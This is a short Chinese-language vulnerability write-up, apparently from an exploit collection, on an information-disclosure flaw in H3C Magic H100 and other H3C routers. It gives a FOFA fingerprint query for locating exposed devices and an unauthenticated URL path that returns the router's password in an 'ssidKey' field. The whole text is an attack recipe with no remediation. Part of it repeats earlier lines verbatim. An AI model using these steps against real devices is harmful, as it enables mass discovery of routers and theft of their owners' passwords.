H3C-H100路由器-信息泄露漏洞
一、漏洞简介
H3C Magic H100是新华三技术有限公司特别设计的全千兆家庭智能中枢。H3C-H100路由器信息泄露漏洞,可泄露用户泄露密码
二、影响版本
- H3C多系列路由器
三、资产测绘
- fofa
body="/grwizard/h3c.ico"
- 登录页面
四、漏洞复现
/h3c/local/ssidName
密码就在ssidKey字段
H3C Magic H100是新华三技术有限公司特别设计的全千兆家庭智能中枢。H3C-H100路由器信息泄露漏洞,可泄露用户泄露密码
body="/grwizard/h3c.ico"
/h3c/local/ssidName
密码就在ssidKey字段